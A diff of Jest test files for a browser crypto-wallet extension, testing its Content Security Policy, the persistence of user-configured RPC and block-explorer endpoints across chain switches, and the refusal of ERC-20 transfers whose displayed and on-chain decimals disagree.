     // background service worker, which is where libsodium runs.
-    test("chrome MV3 allows WASM and nothing else beyond 'self'", () => {
+    test("chrome MV3 ships the pinned policy, default-src included", () => {
         const csp = readManifest("chrome").content_security_policy;
         expect(typeof csp).toBe("object");
         expect(Object.keys(csp)).toEqual(["extension_pages"]);
@@ -87,7 +133,7 @@ describe("shipped Content Security Policy", () => {
     // Firefox before 106 rejects an MV2 policy string that omits
     // object-src and falls back to its own default, discarding everything
     // declared here. Same policy as Chrome, different manifest shape.
-    test("firefox MV2 allows WASM and nothing else beyond 'self'", () => {
+    test("firefox MV2 ships the pinned policy, default-src included", () => {
         const csp = readManifest("firefox").content_security_policy;
         expect(typeof csp).toBe("string");
         assertPolicy(csp);

tests/networkEndpoints.test.js

@@ -0,0 +1,192 @@
+// What a chain switch is allowed to do to the endpoints the user configured.
+//
+// A switch used to overwrite state.rpcUrl and state.blockscoutUrl with the
+// network defaults, so a user pointing the wallet at their own node lost that
+// url the first time anything switched chains — with no notification and no
+// way to recover it, having been moved onto a public endpoint that then sees
+// every address they hold (https://git.eeqj.de/sneak/AutistMask/issues/308).
+// Endpoints are now remembered per network, which is why the round trips
+// below assert the ORIGINAL url comes back rather than only that the switch
+// happened.
+
+const { networkById } = require("../src/shared/networks");
+
+const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+
+const MAINNET = networkById("mainnet");
+const SEPOLIA = networkById("sepolia");
+
+// The user's own node: the pair the switch used to throw away.
+const CUSTOM_RPC = "http://127.0.0.1:8545";
+const CUSTOM_BLOCKSCOUT = "http://127.0.0.1:4000/api/v2";
+
+function walletFixture() {
+    return [
+        {
+            name: "Wallet 1",
+            type: "hd",
+            addresses: [{ address: ADDRESS, balance: "0", tokenBalances: [] }],
+        },
+    ];
+}
+
+// The real state module against stubbed storage, plus whatever the last
+// saveState() wrote — so a case can reload a fresh module from the bytes an
+// earlier one persisted, which is what an extension restart does. `state` is
+// a module-level singleton, so the registry has to be reset per load.
+function loadModuleWith(persisted) {
+    jest.resetModules();
+    let written = null;
+    global.chrome = {
+        storage: {
+            local: {
+                get: jest.fn(async () =>
+                    persisted ? { autistmask: persisted } : {},
+                ),
+                set: jest.fn(async (items) => {
+                    written = items.autistmask;
+                }),
+            },
+        },
+    };
+    return {
+        mod: require("../src/shared/state"),
+        chainSwitch: require("../src/shared/chainSwitch"),
+        written: () => written,
+    };
+}
+
+afterEach(() => {
+    delete global.chrome;
+});
+
+describe("a custom endpoint survives a chain switch", () => {
+    test("switching away and back restores the user's rpc and blockscout urls", async () => {
+        const { mod, chainSwitch } = loadModuleWith({
+            wallets: walletFixture(),
+            networkId: "mainnet",
+            rpcUrl: CUSTOM_RPC,
+            blockscoutUrl: CUSTOM_BLOCKSCOUT,
+            networkEndpoints: {
+                mainnet: {
+                    rpcUrl: CUSTOM_RPC,
+                    blockscoutUrl: CUSTOM_BLOCKSCOUT,
+                },
+            },
+        });
+        await mod.loadState();
+
+        await chainSwitch.onChainSwitch("sepolia");
+        // The new chain gets its own endpoints, not the ones belonging to the
+        // chain just left: a mainnet node cannot answer for Sepolia.
+        expect(mod.state.rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
+        expect(mod.state.blockscoutUrl).toBe(SEPOLIA.defaultBlockscoutUrl);
+
+        await chainSwitch.onChainSwitch("mainnet");
+        expect(mod.state.rpcUrl).toBe(CUSTOM_RPC);
+        expect(mod.state.blockscoutUrl).toBe(CUSTOM_BLOCKSCOUT);
+    });
+
+    test("an endpoint set on the network being left is remembered, not lost", async () => {
+        const { mod, chainSwitch } = loadModuleWith({
+            wallets: walletFixture(),
+            networkId: "sepolia",
+            rpcUrl: SEPOLIA.defaultRpcUrl,
+            blockscoutUrl: SEPOLIA.defaultBlockscoutUrl,
+            networkEndpoints: {},
+        });
+        await mod.loadState();
+
+        // What the Settings screen does: write the live field, then save. The
+        // map entry for the active network is stale until the switch, which
+        // is what snapshotting the outgoing network exists to reconcile.
+        mod.state.rpcUrl = CUSTOM_RPC;
+        await mod.saveState();
+
+        await chainSwitch.onChainSwitch("mainnet");
+        expect(mod.state.rpcUrl).toBe(MAINNET.defaultRpcUrl);
+
+        await chainSwitch.onChainSwitch("sepolia");
+        expect(mod.state.rpcUrl).toBe(CUSTOM_RPC);
+    });
+
+    test("the remembered endpoints survive an extension restart", async () => {
+        const first = loadModuleWith({
+            wallets: walletFixture(),
+            networkId: "mainnet",
+            rpcUrl: CUSTOM_RPC,
+            blockscoutUrl: CUSTOM_BLOCKSCOUT,
+        });
+        await first.mod.loadState();
+        await first.chainSwitch.onChainSwitch("sepolia");
+
+        // Reload from exactly the bytes the switch persisted.
+        const second = loadModuleWith(first.written());
+        await second.mod.loadState();
+        expect(second.mod.state.networkId).toBe("sepolia");
+        expect(second.mod.state.rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
+
+        await second.chainSwitch.onChainSwitch("mainnet");
+        expect(second.mod.state.rpcUrl).toBe(CUSTOM_RPC);
+        expect(second.mod.state.blockscoutUrl).toBe(CUSTOM_BLOCKSCOUT);
+    });
+
+    test("a profile written before networkEndpoints existed keeps its endpoint", async () => {
+        // Exactly the stored shape the current release writes: one pair of
+        // urls and no map. It is adopted as the remembered pair of the
+        // network it was stored under.
+        const { mod, chainSwitch } = loadModuleWith({
+            wallets: walletFixture(),
+            networkId: "mainnet",
+            rpcUrl: CUSTOM_RPC,
+            blockscoutUrl: CUSTOM_BLOCKSCOUT,
+        });
+        await mod.loadState();
+
+        expect(mod.state.rpcUrl).toBe(CUSTOM_RPC);
+        expect(mod.state.networkEndpoints).toEqual({
+            mainnet: { rpcUrl: CUSTOM_RPC, blockscoutUrl: CUSTOM_BLOCKSCOUT },
+        });
+
+        await chainSwitch.onChainSwitch("sepolia");
+        await chainSwitch.onChainSwitch("mainnet");
+        expect(mod.state.rpcUrl).toBe(CUSTOM_RPC);
+        expect(mod.state.blockscoutUrl).toBe(CUSTOM_BLOCKSCOUT);
+    });
+
+    // A primitive is the dangerous case, not the array: assigning a property
+    // to a string throws nothing and stores nothing, so a stored string would
+    // be carried through loadState() and re-persisted by every save, and each
+    // switch would fall back to the public default in place of the user's
+    // endpoint, permanently.
+    test.each([
+        ["an array", ["not", "a", "map"]],
+        ["a string", "junk"],
+        ["a number", 7],
+    ])("a stored networkEndpoints that is %s is discarded", async (_, bad) => {
+        const { mod, chainSwitch } = loadModuleWith({
+            wallets: walletFixture(),
+            networkId: "mainnet",
+            rpcUrl: CUSTOM_RPC,
+            blockscoutUrl: CUSTOM_BLOCKSCOUT,
+            networkEndpoints: bad,
+        });
+        await mod.loadState();
+
+        // Discarded, then seeded from the live endpoints the same way an old
+        // profile is — never left as something onChainSwitch() would index.
+        expect(mod.state.networkEndpoints).toEqual({
+            mainnet: {
+                rpcUrl: CUSTOM_RPC,
+                blockscoutUrl: CUSTOM_BLOCKSCOUT,
+            },
+        });
+
+        // And the endpoint really survives the round trip, which is the point
+        // of discarding it rather than only of the shape being right.
+        await chainSwitch.onChainSwitch("sepolia");
+        await chainSwitch.onChainSwitch("mainnet");
+        expect(mod.state.rpcUrl).toBe(CUSTOM_RPC);
+        expect(mod.state.blockscoutUrl).toBe(CUSTOM_BLOCKSCOUT);
+    });
+});

tests/transferAmount.test.js

@@ -0,0 +1,128 @@
+// The scale an ERC-20 transfer from the wallet's own Send screen is encoded
+// with (issue #305). The screen renders from the block explorer's cached
+// decimals; the transfer used to be encoded from decimals() read off the
+// contract at signing time, with nothing comparing the two, so a token whose
+// on-chain scale differed signed an amount that was never displayed.
+
+const { parseUnits } = require("ethers");
+const {
+    displayedDecimals,
+    transferAmountUnits,
+    MAX_DECIMALS,
+    UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
+    UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
+} = require("../src/shared/transferAmount");
+
+describe("displayedDecimals", () => {
+    test("accepts what the explorer and the contract each answer with", () => {
+        // A string is what fetchTokenBalances() parses out of Blockscout, a
+        // number is what it stores, and a bigint is what ethers hands back
+        // from a uint8 return.
+        expect(displayedDecimals("6")).toBe(6);
+        expect(displayedDecimals(6)).toBe(6);
+        expect(displayedDecimals(6n)).toBe(6);
+        expect(displayedDecimals(0)).toBe(0);
+        expect(displayedDecimals(MAX_DECIMALS)).toBe(MAX_DECIMALS);
+    });
+
+    test("refuses anything that is not a uint8", () => {
+        for (const bad of [
+            null,
+            undefined,
+            "",
+            "eighteen",
+            NaN,
+            6.5,
+            -1,
+            MAX_DECIMALS + 1,
+            true,
+            {},
+            [],
+        ]) {
+            expect(() => displayedDecimals(bad)).toThrow(
+                UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
+            );
+        }
+    });
+});
+
+describe("transferAmountUnits", () => {
+    test("encodes with the displayed scale when the contract agrees", () => {
+        expect(transferAmountUnits("0.25", 6, 6n)).toBe(parseUnits("0.25", 6));
+        expect(transferAmountUnits("0.25", "6", 6n)).toBe(
+            parseUnits("0.25", 6),
+        );
+        expect(transferAmountUnits("1.5", 18, 18n)).toBe(parseUnits("1.5", 18));
+    });
+
+    // The reproduction on the issue: 0.25 of a token displayed at 6 decimals,
+    // signed against a contract answering 18, moves 10^12 times the amount
+    // that was approved.
+    test("refuses the reproduction rather than signing either amount", () => {
+        expect(() => transferAmountUnits("0.25", 6, 18n)).toThrow(
+            /contract reports 18 decimal places, but the amount was displayed using 6/,
+        );
+    });
+
+    test("refuses a disagreement in the other direction too", () => {
+        expect(() => transferAmountUnits("0.25", 18, 6n)).toThrow(
+            /contract reports 6 decimal places, but the amount was displayed using 18/,
+        );
+    });
+
+    test("never returns the amount at either scale on a disagreement", () => {
+        // The point of the refusal: both candidate encodings exist, and the
+        // wallet must produce neither.
+        let thrown = null;
+        try {
+            transferAmountUnits("0.25", 6, 18n);
+        } catch (e) {
+            thrown = e;
+        }
+        expect(thrown).toBeInstanceOf(Error);
+        expect(thrown.message).toMatch(/was not sent/);
+    });
+
+    test("refuses when the screen's scale is unknown", () => {
+        expect(() => transferAmountUnits("0.25", null, 6n)).toThrow(
+            UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
+        );
+        expect(() => transferAmountUnits("0.25", undefined, 6n)).toThrow(
+            UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
+        );
+    });
+
+    test("refuses when the contract's answer is not a uint8", () => {
+        for (const bad of [null, undefined, "", "eighteen", 6.5, -1, 256]) {
+            expect(() => transferAmountUnits("0.25", 6, bad)).toThrow(
+                UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
+            );
+        }
+    });
+
+    test("rejects an amount finer than the token's scale", () => {
+        // parseUnits' own refusal, reached only once the scales agree: a
+        // fractional base unit cannot be sent and must not be truncated.
+        expect(() => transferAmountUnits("0.0000001", 6, 6n)).toThrow();
+    });
+
+    test("every refusal is a full sentence", () => {
+        const messages = [];
+        for (const args of [
+            ["0.25", 6, 18n],
+            ["0.25", null, 6n],
+            ["0.25", 6, "eighteen"],
+        ]) {
+            try {
+                transferAmountUnits(...args);
+            } catch (e) {
+                messages.push(e.message);
+            }
+        }
+        expect(messages).toHaveLength(3);
+        for (const m of messages) {
+            expect(m).toMatch(/^[A-Z]/);
+            expect(m).toMatch(/\.$/);
+        }
+    });
+});